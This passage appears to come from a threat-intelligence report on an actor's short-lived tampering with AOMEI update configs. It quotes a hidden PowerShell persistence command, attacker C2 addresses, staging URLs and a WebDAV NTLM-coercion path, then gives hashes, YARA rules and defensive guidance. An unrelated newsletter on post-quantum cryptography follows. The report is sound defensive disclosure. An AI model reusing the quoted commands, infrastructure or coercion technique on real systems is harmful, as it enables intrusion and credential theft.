In mid-July 2026, following the successful deployment of SHINYROAD, telemetry identified later-stage activity where UNC7017 pushed down ADAPTAGENT, the client portion of the Adaptix C2 post-exploitation framework. To blend in or appear as user-downloaded activity, these payloads masqueraded as Nitro PDF promotional and scanning tools (NitroPromotion.exe):

Persistence: The malware installed a scheduled task named \NitroRuntime that executed:

powershell -Command "Start-Process 'C:\Users\<USER>\AppData\Local\Temp\NitroPromotion.exe' -WindowStyle Hidden"

Figure 6: NitroRuntime scheduled task persistence

Adaptix C2 Beaconing: The executable sideloaded Eztwain4.dll (ADAPTAGENT) from %LOCALAPPDATA%\Nitro Pro\, which established periodic 2-minute beacons to 8.210.84.56:6800.

Outlook and Implications

This campaign highlights a broader evolution in software supply chain attack methodologies. Supply chain intrusions have historically focused on inserting backdoors into software source code or tampering with developer build pipelines (e.g., SolarWinds, 3CX). While highly impactful, compromised source trees leave persistent binary signatures in official release files that can be discovered during post-release binary analysis.

UNC7017's use of ephemeral configuration tampering represents a lower-overhead, higher-stealth alternative:

Anti-Analysis by Design: By restricting configuration changes to five to ten minute windows, the vast majority of legitimate users and automated repository crawlers only encounter authentic, vendor-signed files.
Selective Exploitation: Threat actors can selectively compromise target organizations that maintain frequent polling intervals while minimizing their exposure window on vendor infrastructure.
Dual-Pronged Approach: Combining software update redirection with invisible WebDAV NTLM coercion could allow adversaries to harvest credentials from passive users even if binary payload execution is blocked.
Co-opting Commercial Software: Deploying unmodified versions of legitimate administration tools (such as Radmin 3.x) to masquerade sideloaded covert channels illustrates how adversaries blend commercial remote management capabilities with hidden backdoor modules.

Remediation and Hardening

Defenders should focus on behavioral profiling of updater processes, specifically monitoring for unsigned child processes spawned by background update runners and unauthorized network redirection originating from trusted desktop software. For broader recommendations on securing software delivery pipelines, please refer to our previously published Mitigation Guidance for Supply Chain Compromise.

Vendor Notification & Architecture Hardening

On July 17, 2026, Mandiant notified AOMEI Technology regarding the observed configuration tampering on their update infrastructure and provided relevant indicators. AOMEI subsequently responded on July 29, 2026, stating that corrective actions had been taken.

Why Server-Side Remediation Does Not Disinfect Endpoints

Crucially, server-side remediation does not clean endpoints that downloaded malicious updates during earlier tampering windows. Because the tampering occurred in brief, short bursts, systems that received these files may remain compromised without the organization's knowledge unless proactive endpoint hunting and remediation are performed.

Persistent Resident Payloads: Endpoints that polled for updates during an active tampering window downloaded and staged persistent payloads (via scheduled tasks) that remain fully operational even after the vendor restores authentic .ini files on the origin servers.
Obscured Root Cause: While the subsequent backdoor activity and scheduled tasks generate detectable endpoint telemetry, the ephemeral delivery vector obscures the initial intrusion mechanism. Because server tampering lasted approximately 5 minutes—and the loader actively reverted local configuration files—investigators reviewing vendor update URLs hours later will observe only benign, authentic infrastructure, complicating root cause analysis and patient-zero identification.
Hunting Imperative: Organizations running AOMEI software cannot assume they are protected solely because the vendor took corrective server-side action. Enterprise security teams must perform retrospective endpoint and network hunts across the entire April–July time frame using the indicators and YARA rules provided in this post.

Guidance for Software Vendors & Developers

Software supply chain security extends beyond developer workstations and build pipelines. When desktop software relies on remote configuration files to manage update and notification behaviors, adversaries can target the distribution layer rather than the source code. To defend against configuration tampering and distribution-channel hijacking, software vendors should implement the following security controls:

End-to-End Cryptographic Signature Verification: Client applications must cryptographically verify Authenticode digital signatures and validate vendor certificates on all downloaded executables and archives before extraction or execution. Update clients should never rely solely on transport-layer HTTPS or remote checksums (such as cleartext MD5 values in an unauthenticated configuration file).
Cryptographically Signed Configuration Files: Remote configuration files (.ini, .json, or .xml) should be digitally signed using asymmetric public key cryptography. If an origin server or content delivery network (CDN) is modified without authorization, client software will detect the invalid signature and reject the configuration.
Domain Allowlisting and Destination Pinning: Software update clients should enforce strict destination pinning, restricting update downloads exclusively to official, pre-approved vendor domains and CDNs. Update engines should reject redirection to arbitrary third-party domains or generic public cloud storage buckets.
Restricting Uniform Resource Identifier (URI) Schemes in In-App Handlers: Embedded web views, promotional popups, and notification handlers should strictly enforce secure web protocols (https://) and explicitly disallow local file (file://) and UNC WebDAV schemes to prevent external NTLM credential coercion.
Decoupling Core Updates from Marketing Channels: Separating essential software maintenance routines from dynamic promotional popups and notification banners reduces the attack surface and ensures that advertising channels cannot trigger local code execution.
Origin Integrity Monitoring and Access Controls: Origin web servers and object storage buckets hosting update metadata should enforce strict access controls, multi-factor authentication, and automated real-time file integrity monitoring (FIM) with immediate alerting on configuration changes.

Guidance for Security Operations (SOC) & Incident Responders

Overcoming the "Point-in-Time" Triage Pitfall

The short-burst nature of this attack creates a unique challenge for incident response:

The Triage Trap: When an EDR alert fires for a suspicious process spawned by an updater, SOC analysts frequently attempt to validate the alert by navigating to the vendor's download URL or checking URL reputation. Because the threat actor reverted the remote configuration files within five to ten minutes, the vendor's server returns authentic, clean files most of the time, leading analysts to mistakenly dismiss the detection as a false positive.
Actionable IR Protocol: Defenders must not rely on live web checks. Incident responders must preserve and analyze the endpoint-cached configuration files in %PROGRAMFILES(X86)%\AOMEI\*\Tmphtml\ and review proxy/firewall telemetry corresponding to the precise second the alert was triggered.

Camouflaged Follow-on Activity

The deployment of Adaptix C2 under the guise of Nitro PDF can mislead analysts into treating alerts as isolated, user-initiated software downloads rather than staged lateral movement. Responders must trace updater parentage to identify root-cause supply chain tampering.

Endpoint and Network Hardening Actions

Endpoint File Checks

Inspect systems for the following directories and artifacts. Defenders must distinguish between malicious payloads and legitimate signed binaries abused for search-order hijacking:

Directory	Malicious Artifacts (Primary IOCs)	Abused Legitimate / Support Binaries	Defender Triage & Hunting Guidance
%LOCALAPPDATA%\Radmin\	`BlkScrDl.dll, csvc\RuntimeComponent.dll, config.zip, metadata.dat`	`FamItrfc.exe, FamItrf2.exe, WinLpcDl.dll, WinLpcDl2.dll`	Do not dismiss if executables are signed: `FamItrfc.exe` is authentic Famatech software abused to hijack `BlkScrDl.dll`. Alert on unsigned DLLs and executions with `--runtimechk`.
%LOCALAPPDATA%\Nitro Pro\	`Eztwain4.dll (ADAPTAGENT), NitroPromotion.exe`	`mfc140u.dll` (Microsoft MFC runtime), `Nitro_Scan2PDFApp.exe`	Payloads masquerade as Nitro PDF tools. `Eztwain4.dll` is sideloaded by the executables. Look for parent PowerShell processes spawned with `-WindowStyle Hidden`.
%TEMP%\	`svc*.tmp, en\`	—	Ephemeral child processes spawned with `--nitrod` to purge CROSSROAD via NTFS stream overwrites (`:wtfbbq`).
AOMEI Install Paths (`Tmphtml\, html\`)	`upgrade-now.zip, upgrade-now.exe` (CROSSROAD)	`down_html.ini, Notifycfg.ini`	Staging location for the AOMEI update flow. Check for unauthorized executable drops in the web UI `html\` directory.

Table 1: Endpoint file checks

Scheduled Tasks and Registry

Scheduled Tasks: Check for unauthorized tasks named \NitroRuntime or \RadminComponentRuntime.
Registry: Check \REGISTRY\MACHINE\SYSTEM\Software\Microsoft\TIP\AggregateResults\data for unusual binary blobs.

Network Defenses

Block outbound network connections to promotion.storage-data.com, aomei.storage-data.com, storage-data.com, 8.210.84.56, 47.239.60.117, and 8.218.65.184.
Block outbound SMB (TCP 445) and WebDAV traffic to external IP addresses to prevent NTLM credential coercion.
Inspect proxy and web gateway logs for the User-Agent Anyviewer-loader/1.0 or requests to Alibaba Cloud OSS endpoint serv.oss-cn-hongkong.aliyuncs.com.

Indicators of Compromise (IOCs)

To assist the wider community in hunting and identifying activity outlined in this blog post, we have included indicators of compromise (IOCs) in a GTI Collection for registered users.

Malicious File Hashes (SHA-256)

File / Description	SHA-256
upgrade-now.zip (May 20 CROSSROAD Archive)	`6670ab3f0434a42f33416f8354150b1701e7615f3cfa2f1635e54f8df0f6eec7`
upgrade-now.exe (May 20 CROSSROAD Loader)	`11e576df44e9c9eef72b9f5b699291bcdb200a19130778ec231e5b0987b913ad`
upgrade-now.exe (July 16 CROSSROAD Loader)	`9a58e8f49edf5644e5728f74cf36f560d3d486fa51db4db69d927963c7aca450`
upgrade-now.exe (July 20 CROSSROAD Loader)	`b360b6db0c2b668317edc1504a7c39ef047f0d925c8f113b521f6724c157ae21`
upgrade-now.zip (July 20 CROSSROAD Archive)	`9ed503c6a9a3a493fb859401e9ed469eed77ab9927341964d6dbfbfa6255aeba`
component.zip / en.zip (SHINYROAD Package)	`d167bc898e856da8a4003cb4dfc7de55fea109eee3cd64fc8999710314109464`
RuntimeComponent.dll (Custom PocketPy Engine)	`8fbaa74b27dc1e89abfc694e834378746f0ad37a688098c5f8f511410157c8b8`
BlkScrDl.dll (Malicious DLL)	`5837bc26a73cfb46ffd466cf889f03ce2f6a48f1f3fd42ec8be22189d51cab1e`
config.zip (Python Bytecode Archive)	`4c0a75e0f62ddc0bb350c224fe996f3b2ab08dcb0d288231c61ffe9406c7045b`
metadata.dat (ChaCha20 Payload)	`4b4d25b3501519476f9a62a88a781e4f446f669280eb5e98c6b96eb6d3743431`
axmlx. (Benign Decoy file)	`d7cfa659d224928e7b72c806dcf2169594d993ecf6422e6efcdcf251190f2e7c`
NitroPromotion.exe (Launcher for ADAPTAGENT Masquerading as a Nitro Executable)	`14b31918075e6130b9123158743db0a81e2d7bfcf6d39731ee7d9200a98cd591`
Eztwain4.dll (ADAPTAGENT Helper DLL)	`8c8090aca8ddb1cf968d2b810457e0cfce97c03cd721f70d2eca7f37f2681fc4`
abe.exe (Secondary Payload)	`7b252be444dee2fb2a57043a823dc5b5e1fae970aea91ee2c8339aa70329969d`

Table 2: Malicious File Indicators

Legitimate File Hashes (SHA-256)

File / Description	SHA-256
WinLpcDl.dll (Legitimate Radmin component)	`2d99e9d732ff9304d97c7856b052ca520ae689fec1ce86df724de741913afa4b`
WinLpcDl2.dll (Legitimate Radmin component)	`dad559ae9bc977783c7251591eeb7aa432b860ce821ccf10b1260fd0e650c951`
Nitro_Scan2PDFApp.exe (Legitimate Signed Binary, Abused for Sideloading)	`d71a119b4950ee88dd36205176d989a64df5248ac268591d4bbb78621a73acbd`

Table 3: Legitimate File Indicators

Configuration File Hashes (AOMEI `.ini`)

File Description	SHA-256
down_html.ini (Tampered July 16, 08:33–08:39 UTC)	`924ad92d89dde577d5858b2ebc5703a485467842d78e98b75019b2e2e0ac3fe6`
Notifycfg.ini (Tampered July 16 Window)	`d2f9ef2429312667f0512504b6a19ba4a9cc5514f1b2933923dd42f75a1c5934`
Notifycfg.ini (Tampered July 20 WebDAV Version)	`286e0d8c7bdfaa7c251a3e8f0f2fefbe25c67586c0149d39b1095c89dc6023c8`
down_html.ini (Tampered July 20, 10:35–10:40 UTC)	`f2a7d0a4c8613a9cdd31ede6131b27040c0571ca97970b245a710191806d7ac4`

Table 4: Configuration Files

Network Indicators

Type	Indicator	Context
IP Address	`8.210.84.56`	WebDAV NTLM Target Server; Adaptix C2
IP Address	`8.218.65.184`	Historical SHINYROAD C2 Server. Ports used included `41397` and `443`
IP Address	`47.239.60.117`	Secondary Infrastructure
IP Address	`96.126.191.98`	Allowlist IP configured in `whitelist.ini` (observed June 22, 2026)
Domain	`promotion.storage-data.com`	Stage-2 Dropper Staging Domain
Domain	`aomei.storage-data.com`	Stage-3 Payload Staging Server
Domain	`storage-data.com`	Threat Actor Domain
Domain	`serv.oss-cn-hongkong.aliyuncs.com`	Alibaba Cloud OSS Bucket (April/May 2026 Staging)
URL	`https://promotion.storage-data.com/download/abpopup/upgrade-now.zip`	Stage-2 Dropper Download URL
URL	`https://promotion.storage-data[.]com/config/component.zip`	SHINYROAD payload
URL	`https://promotion.storage-data.com/config/whitelist.ini`	Target IP Allowlist Endpoint
URL	`https://promotion.storage-data.com/config/en.zip`	Stage-3 SHINYROAD Payload URL
URL	`https://storage.googleapis.com/aomeiupdate/upgrade-now.zip`	July 20 GCS Staging URL
URL	`https://storage.googleapis.com/aomeiupdate/component.zip`	July 20 GCS Component URL
UNC Path	`\\8.210.84.56\DavWWWRoot\campaign\24hour-flash-sale.html`	WebDAV NTLM Coercion Resource

Table 5: Network Indicators

Mutexes & Scheduled Tasks

Mutex: Global\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883}
Shared memory mapping: Local\963d3c60-d406-4ad6-aa1e-dc8e45061ccf
Scheduled Task: \RadminComponentRuntime

Google Security Operations (SecOps)

Google Security Operations customers have access to these broad category rules and more under the "Mandiant Frontline Threats", “Mandiant Hunting Rules”, and "Applied Threat Intelligence - Curated Prioritization" rule packs. The activity discussed in the blog post is detected in Google Security Operations under the rule names:

Explorer Launching Cmd With Powershell Start Process Command
Suspicious Process Invoking Dllhost Clsid Invocation
ATI Active Breach Rule Match for File IoCs
ATI High Priority Rule Match for Ip Address IoCs
ATI Medium Priority Rule Match for Ip Address IoCs
Copy System Binary
System32 Binary Copied to Non-Standard Directory

Detections

YARA Rules

rule G_APT_Downloader_CROSSROAD_1
{
	meta:
		author = "Mandiant"
		desc = "Detects obfuscated and masquerading UNC7017 CROSSROAD downloaders targeting AOMEI software update mechanisms"
		
	strings:
		// Masquerading & Metadata
		$meta_typo = "AOMEI Update Compent" wide
		$meta_co = "AOMEI International Network Limited" wide
		$meta_ver = "8.2.5.0" wide
		$meta_orig = "upgrade-now.exe" wide
		$meta_name = "upgrade-now" wide
		// Embedded Decompression & Downloader Artifacts
		$miniz1 = "archive is too large" ascii
		$miniz2 = "failed finding central directory" ascii
		$miniz3 = "unexpected decompressed size" ascii
		$whttp1 = "WinHttpCrackUrl" ascii
		$whttp2 = "WinHttpSendRequest" ascii
		// Obfuscation & Scheduled Task Artifacts
		$task1 = "RadminComponentRuntime" wide
		$task2 = "Radmin Component runtime checkable." wide
		$flag = "--runtimechk" wide
		$sob1 = "IsCurrentIpWhitelisted._sob_enc" ascii
		$sob2 = "DownloadFileFromUrlA._sob_enc" ascii
		$sob3 = "WinMain._sob_enc." ascii
		$obf_key = "_sob_key" ascii
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 5MB and (
			(($meta_typo or ($meta_co and ($meta_orig or $meta_name or $meta_ver))) and
			 any of ($miniz*) and
			 any of ($whttp*)) or
			(2 of ($sob*) and ($task1 or $flag)) or
			($obf_key and $task1 and $task2 and any of ($sob*))
		)
}

rule G_APT_Backdoor_SHINYROAD_1
{
	meta:
		author = "Mandiant"
		desc = "Detects the SHINYROAD BlkScrDl.dll COM-staging loader and RuntimeComponent.dll PocketPy engine"
		
	strings:
		// Shared SHINYROAD artifacts (shared memory section and mutex)
		$shm = "Local\\963d3c60-d406-4ad6-aa1e-dc8e45061ccf" ascii wide
		$mtx = "Global\\{F9E6E3C0-E11A-4F85-9944-AF4AD6E05883}" ascii wide
		// BlkScrDl.dll loader: config.zip staging and COM server registration
		$ld1 = "%sconfig.zip" ascii
		$ld2 = "%scsvc\\RuntimeComponent.dll" ascii
		$ld3 = "libBlkScrDl.dll" ascii
		$com1 = "Software\\Classes\\CLSID\\%s" ascii
		$com2 = "Software\\Classes\\AppID\\%s" ascii
		$com3 = "%s\\InprocServer32" ascii
		// RuntimeComponent.dll embedded PocketPy engine
		$rc1 = "libRuntimeComponent.dll" ascii
		$rc2 = "metadata.dat" ascii
		$rc3 = "_pyio_compat" ascii
		$rc4 = "_pyio_struct" ascii
		$rc5 = "%sdemo_srv.log" ascii
	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 5MB and (
			($shm and $mtx) or
			(($shm or $mtx) and (2 of ($ld*) or 2 of ($rc*))) or
			(2 of ($ld*) and 2 of ($com*)) or
			($rc1 and $rc2 and any of ($rc3, $rc4, $rc5))
		)
}

rule G_APT_Backdoor_SHINYROAD_2
{
	meta:
		author = "Mandiant"
		desc = "Detects compiled PocketPy bytecode payloads associated with SHINYROAD backdoors"

	strings:
		$pkpy_magic = { 4F 43 01 00 }
		$proto1 = "mct3-handshake-v1" ascii
		$script = "bootstrap_tcp_slim_v2_call_min.py" ascii
		$jam1 = "JAM_BURST_PACKETS_MIN" ascii
		$jam2 = "JAM_MIN_MS" ascii
		$jam3 = "JAM_MAX_BYTES" ascii
		$mod1 = "_pyio_struct" ascii
		$mod2 = "_pyio_compat" ascii
		$enc1 = "nh_enc" ascii
		$enc2 = "encbody" ascii

	condition:
		$pkpy_magic at 0 and filesize < 500KB and (
			$proto1 or
			$script or
			all of ($jam*) or
			(all of ($mod*) and any of ($enc*))
		)
}

rule G_APT_Launcher_ADAPTAGENT_1
{
	meta:
		author = "Mandiant"
		desc = "Detects UNC7017 ADAPTAGENT post-exploitation loader and sideloaded Adaptix payload (Nitro camouflage)"
		ref = "https://cloud.google.com/blog/topics/threat-intelligence/investigating-ephemeral-supply-chain-tampering"
		platforms = "Win"
		rs1 = "14b31918075e6130b9123158743db0a81e2d7bfcf6d39731ee7d9200a98cd591"

	strings:
		// Sideloaded Masquerading & Camouflage
		$camo_exe1 = "NitroPromotion.exe" ascii wide nocase
		$camo_exe2 = "Nitro_Scan2PDFApp.exe" ascii wide nocase
		$camo_dll1 = "Eztwain4.dll" ascii wide nocase
		$camo_dll2 = "Nitro PDF Eztwain4" ascii wide nocase
		$camo_ver = "14.10.1.0" ascii wide
		$camo_copy = "Nitro Software, Inc." ascii wide

		// NitroPromotion Loader & Staging Functionality
		$load1 = "DownloadToLocalAppData" ascii
		$load2 = "ExtractZipToDirectoryA" ascii
		$load3 = "GetTempZipFileNameA" ascii
		$load4 = "CreateScheduledTask" ascii

		// Adaptix C2 & ADAPTAGENT Core Artifacts
		$adapt1 = "Adaptix Crash Analyzer v1.0" ascii
		$adapt2 = "Global\\{8d00c640-48d8-4440-a8e1-660fd37f572a}" ascii wide
		$adapt3 = "\\\\.\\pipe\\%08lx" ascii
		$adapt4 = "13ConnectorHTTP" ascii
		$adapt5 = "9Connector" ascii

	condition:
		uint16(0) == 0x5A4D and uint32(uint32(0x3C)) == 0x00004550 and filesize < 10MB and (
			// Branch 1: ADAPTAGENT Sideloaded Payload (Eztwain4.dll)
			(any of ($camo_dll*, $adapt1, $adapt2) and 2 of ($adapt*)) or

			// Branch 2: NitroPromotion Masquerading Loader (NitroPromotion.exe)
			(any of ($camo_exe*) and (2 of ($load*) or any of ($adapt1, $adapt2))) or
			(all of ($camo_ver, $camo_copy) and any of ($camo_exe*) and any of ($load*))
		)
}

MITRE ATT&CK Techniques

Tactic	Technique ID	Technique Name	Observed Context
Resource Development	T1583.001	Acquire Infrastructure: Domains	Registration of `storage-data.com` and the `promotion.` / `aomei.` subdomains used for payload staging and callbacks.
Resource Development	T1583.006	Acquire Infrastructure: Web Services	Abuse of Alibaba Cloud OSS (`serv.oss-cn-hongkong.aliyuncs.com`) and a public Cloud Storage bucket (`aomeiupdate`) as high-reputation staging infrastructure.
Resource Development	T1608.001	Stage Capabilities: Upload Malware	Staging of `upgrade-now.zip`, `component.zip`, and `en.zip` on actor-controlled domains and cloud storage prior to each tampering window.
Initial Access	T1195.002	Supply Chain Compromise: Compromise Software Supply Chain	Ephemeral modification of remote AOMEI `.ini` update configuration files.
Execution	T1059.001	Command and Scripting Interpreter: PowerShell	Hidden PowerShell execution (`-WindowStyle Hidden`) executing the Nitro PDF / Adaptix C2 payload.
Execution	T1059.006	Command and Scripting Interpreter: Python	In-memory execution of compiled bytecode via an embedded PocketPy interpreter (`RuntimeComponent.dll` / `WNTestDll.dll`).
Execution	T1559.001	Inter-Process Communication: Component Object Model	`BlkScrDl.dll` registers CLSID `{21191641-0D7F-4CD9-9572-01AAE6E7851B}` as an in-process COM server, causing the Radmin process to load `csvc\RuntimeComponent.dll`.
Persistence	T1053.005	Scheduled Task/Job: Scheduled Task	Scheduled tasks `\RadminComponentRuntime` (running `FamItrfc.exe --runtimechk`) and `\NitroRuntime`.
Defense Evasion	T1574.001	Hijack Execution Flow: DLL	Search-order hijacking of `BlkScrDl.dll` by the signed `FamItrfc.exe`, and side-loading of `Eztwain4.dll` by the Nitro PDF masquerading loaders.
Defense Evasion	T1480	Execution Guardrails	Validation of the `AOMEI` directory substring and external IP reflection filtering before secondary payload retrieval.
Defense Evasion	T1036.005	Masquerading: Match Legitimate Resource Name or Location	`BlkScrDl.dll` masquerades as Radmin's legitimate "blank screen" driver library; ADAPTAGENT loaders masquerade as Nitro PDF tools (`NitroPromotion.exe`, `Eztwain4.dll`).
Defense Evasion	T1027.013	Obfuscated Files or Information: Encrypted/Encoded File	SHINYROAD stage-2 Python bytecode stored as ChaCha20-encrypted `metadata.dat` inside `config.zip`.
Defense Evasion	T1140	Deobfuscate/Decode Files or Information	`RuntimeComponent.dll` decrypts `metadata.dat` in memory using ChaCha20 with an HMAC-SHA256 derived key and IV.
Defense Evasion	T1070.004	Indicator Removal: File Deletion	Self-deletion of CROSSROAD (`upgrade-now.exe`) via a child process spawned with `--nitrod`.
Defense Evasion	T1564.004	Hide Artifacts: NTFS File Attributes	CROSSROAD renames its primary `:$DATA` stream to an alternate data stream named `:wtfbbq` before flagging the file for deletion on handle close.
Credential Access	T1187	Forced Authentication	WebDAV NTLM coercion via an invisible 1x1 popup rendering a UNC resource, configured inside `Notifycfg.ini`.
Discovery	T1016	System Network Configuration Discovery	CROSSROAD resolves the host's external IP via `myip.opendns.com`, `o-o.myaddr.l.google.com`, `checkip.amazonaws.com`, `api.ipify.org`, `ifconfig.me/ip`, and `icanhazip.com`.
Discovery	T1614	System Location Discovery	CROSSROAD aborts its primary payload execution path when the IP-derived country code is `"CN"` (China).
Discovery	T1082	System Information Discovery	SHINYROAD fingerprints the victim hostname to derive a unique agent identifier.
Discovery	T1033	System Owner/User Discovery	SHINYROAD incorporates the logged-on username into its unique agent identifier and C2 key derivation.
Command and Control	T1105	Ingress Tool Transfer	CROSSROAD downloads `component.zip` / `en.zip` to `%TEMP%\svc<random_hex>.tmp` and unpacks it to `%LOCALAPPDATA%\Radmin\`.
Command and Control	T1571	Non-Standard Port	SHINYROAD custom binary C2 over TCP `41397`; ADAPTAGENT beacons over TCP `6800`.
Command and Control	T1573.001	Encrypted Channel: Symmetric Cryptography	Custom binary C2 stream encrypted with a hardcoded handshake key, rotating to a host-specific key derived from the agent ID.
Command and Control	T1001.001	Data Obfuscation: Junk Data	SHINYROAD generates randomized junk packets (traffic chaffing) to disrupt network signature matching.
Command and Control	T1219.002	Remote Access Tools: Remote Desktop Software	Deployment of legitimate Famatech Radmin 3.x server components to victim hosts alongside the SHINYROAD backdoor.

Table 6: MITRE ATT&CK techniques

Acknowledgements

GTIG and Mandiant would like to thank the ManageEngine Threat Analysis Lab (METAL) research team for their initial discovery of this activity, proactive telemetry sharing, and ongoing collaboration to help secure our mutual customer bases and the broader software ecosystem.

Cloud CISO Perspectives: New Gemini Notebook can help CISOs and policymakers prepare for PQC

Wed, 14 Oct 2026 16:00:00 +0000

Welcome to the first Cloud CISO Perspectives for October 2026. Today, Stephanie Kiel explains the latest on our approach to post-quantum cryptography, and shares a new tool to help CISOs and executives prepare their organizations for PQC.

As with all Cloud CISO Perspectives, the contents of this newsletter are posted to the Google Cloud blog. If you’re reading this on the website and you’d like to receive the email version, you can subscribe here.

aside_block: <ListValue: [StructValue([('title', 'Get vital board insights with Google Cloud'), ('body', <wagtail.rich_text.RichText object at 0x7fd61befd490>), ('btn_text', 'Visit the hub'), ('href', 'https://cloud.google.com/solutions/security/board-of-directors?utm_source=cgc-site&utm_medium=et&utm_campaign=FY26-Q2-GLOBAL-GCP39634-email-dl-dgcsm-CISOP-NL-177159&utm_content=-&utm_term=-'), ('image', <GAEImage: GCAT-replacement-logo-A>)])]>

New Gemini Notebook can help CISOs and policymakers prepare for PQC

By Stephanie Kiel, Head of Cloud Security Policy, Government Affairs and Public Policy, Google Cloud

Stephanie Kiel, Head of Cloud Security Policy, Government Affairs and Public Policy, Google Cloud

Post-quantum cryptography (PQC) is one of the most urgent security shifts of the decade — and one of the easiest to tune out. For security leaders and policymakers, the research is dense, scattered across papers and engineering blogs, and can be challenging to turn into action.

To help, we're launching Prepare for Post-Quantum Cryptography, a public Gemini Notebook that brings Google's PQC research, engineering blogs, and migration guidance together in one place. Ask it questions, listen to an audio overview, or test yourself with flashcards, and quickly get up to speed on the quantum threat.

Why PQC matters now

Quantum computing is rapidly moving from theory to reality. Our Willow chip and Quantum Echoes algorithm mark substantial progress, and Google research estimates that breaking ECDLP-256 and RSA-2048 encryption — the public-key cryptography schemes protecting much of our online data — would require around 500,000 and 1 million imperfect quantum computer components (noisy qubits), respectively.

To help, we're launching Prepare for Post-Quantum Cryptography, a public Gemini Notebook that brings Google's PQC research, engineering blogs, and migration guidance together in one place.

This research has consequences now. It indicates that today’s online security is more vulnerable to future quantum computers than previously thought.

In Store Now, Decrypt Later attacks, adversaries may steal encrypted data now and wait to decrypt it once a sufficiently powerful quantum computer exists. Data that we’ve long considered sensitive — health records, financial data, intellectual property, and government secrets — is already at risk.

With continued advances in architecture, quantum algorithms, and quantum error correction shrinking future quantum hardware requirements, waiting to upgrade our digital locks is not a viable option. To help organizations stay ahead of the curve, Google has published a migration timeline noting our plans to transition to PQC by 2029, and we urge others to consider the same.

As the technology advances, policymakers should consider urging critical infrastructure owners and operators to recognize condensed timelines, and build PQC readiness into existing risk mitigation plans. We also recommend governments engage with global counterparts to promote a harmonized approach to standards development, and include technical and security experts in the building of policy and regulatory requirements focused on quantum safety.

Google's PQC expertise, in one notebook

The Prepare for Post-Quantum Cryptography notebook turns years of Google expertise into an interactive primer that anyone can use. It's built on curated Google sources covering the quantum era, quantum computing breakthroughs like Willow, Quantum Echoes, and surface code error suppression, industry PQC standards, Google's own deployments, and the latest research.

In the Gemini Notebook, you can:

Get answers grounded in Google's sources.
Listen to a podcast-style audio overview.
Test your PQC knowledge with flashcards.
Explore an interactive visual diagram of the quantum threat.
Read a concise briefing document.

Try these prompts

To get started, here are a few questions to ask the notebook:

For CISOs: "What should a CISO prioritize in the first 90 days of a PQC migration?"
For anyone new to PQC: "Explain store-now-decrypt-later in plain terms."
For developers: "How does hybrid ML-KEM key exchange work in Chrome?"

As with all generative AI, the notebook can make mistakes, so check its responses against the linked sources.

What's at stake

Previous cryptographic migrations, such as moving from SHA-1 or upgrading TLS, have taken a decade or more. Waiting for the availability of a cryptographically-relevant quantum computer before beginning the migration journey represents a significant security risk given the importance of public-key cryptography for securing digital essentials like web traffic, software updates, digital identities, and signatures.

For CISOs, we recommend that you start by:

Understanding where vulnerable cryptography lives in your organization.
Identifying and prioritizing data and systems most at risk from quantum threats, and developing a plan for addressing these risks.
Anticipate system-wide effects that PQC migration could have.
Building crypto-agility into your security plans, using learnings from past experiences like Heartbleed.

Additional detail on these recommendations is available in our previous blog post.

For the broader security community, the transition only succeeds if this knowledge is accessible to everyone — not just organizations with dedicated cryptography teams.

How Google is putting PQC into practice

We’ve been deploying PQC for years. Highlights include:

We also co-founded the Post-Quantum Cryptography Alliance at the Linux Foundation with industry leaders including Amazon Web Services, Cisco, IBM, and NVIDIA to support open-source tools like Open Quantum Safe.

Build a PQC notebook for your own team

Here’s how you can create a resource similar to our PQC Gemini Notebook, specific to your organization’s needs:

Curate trusted sources. Start with a focused set of authoritative research, standards, and guidance.
Write neutral prompts. Keep instructions factual so outputs stay grounded in your sources.
Add AI disclaimers and a welcome note. Tell readers what the notebook covers and remind them that AI can make mistakes.
Review all output with human oversight. Have experts check every artifact before you share it.

Start preparing today

The quantum transition has already started, but preparing your organization doesn't have to begin with a 100-page whitepaper. Start by understanding the threat, then assess your cryptographic inventory and build a migration roadmap.

You can get started with the Prepare for Post-Quantum Cryptography Gemini Notebook and share it with your team today. To learn more about Google Cloud’s approach to PQC, check out our dedicated Google Cloud PQC Resource Hub.

aside_block: <ListValue: [StructValue([('title', 'Learn something new'), ('body', <wagtail.rich_text.RichText object at 0x7fd61beff990>), ('btn_text', 'Watch now'), ('href', 'https://www.youtube.com/watch?v=Wpo-5ke9uvQ'), ('image', <GAEImage: Cloud-CISO-Perspectives-logo-A>)])]>

In case you missed it

Here are the latest updates, products, services, and resources from our security teams so far this month:

Securing enterprise agility in the machine-speed era: Learn what executives need to know about today’s threat landscape, how security teams should respond, and why Google AI Threat Defense can help. Read more.
Gemini 4 Argon available on Google Cloud: We’re making our new frontier model, Gemini 4 Argon, available for everyone on Google Cloud. Here’s how it can help boost the defender’s advantage. Read more.
Android's next-gen enclave for on-device AI: Learn about Android’s enclave architecture for personalized on-device AI experiences. Read more.
The Wiz Red Agent caught a Fortune 500 firm’s data exposure that other tools missed: Using an attacker’s mindset, the Red Agent found a public page exposing sensitive data in minutes. Read more.
Chrome's response to recent ccTLD registry hijacks: Following recent .gh, .sl, and .as ccTLD domain hijacks, Chrome immediately blocked unauthorized HTTPS certificates via CRLSets to protect users automatically. Read more.
Wiz Blue Agent POV: Investigating data theft across AWS and GitHub: See how the Blue Agent investigated a multi-platform attack in minutes, following evidence across AWS and GitHub to uncover compromised credentials, stolen source code, and custom data exfiltration tooling. Read more.
Introducing Wiz AI SAST: Application security that understands you: Find, validate, and fix complex business logic flaws with an AI code scanner backed by Wiz Research, operationalized in your existing security program. Read more.
Introducing WizOS Helm Charts to secure the Kubernetes supply chain: WizOS Helm Charts can help eliminate hidden CI/CD risks and unmaintained dependencies with hardened, signed, and CVE-scanned charts for Kubernetes. Read more.
What’s new in Wiz Service Catalog: Smarter discovery, governance, and service-level context can help build your service catalog faster, keep service context current, and give teams a clearer path from cloud risk to accountability. Read more.

Please visit the Google Cloud blog for more security stories published this month.

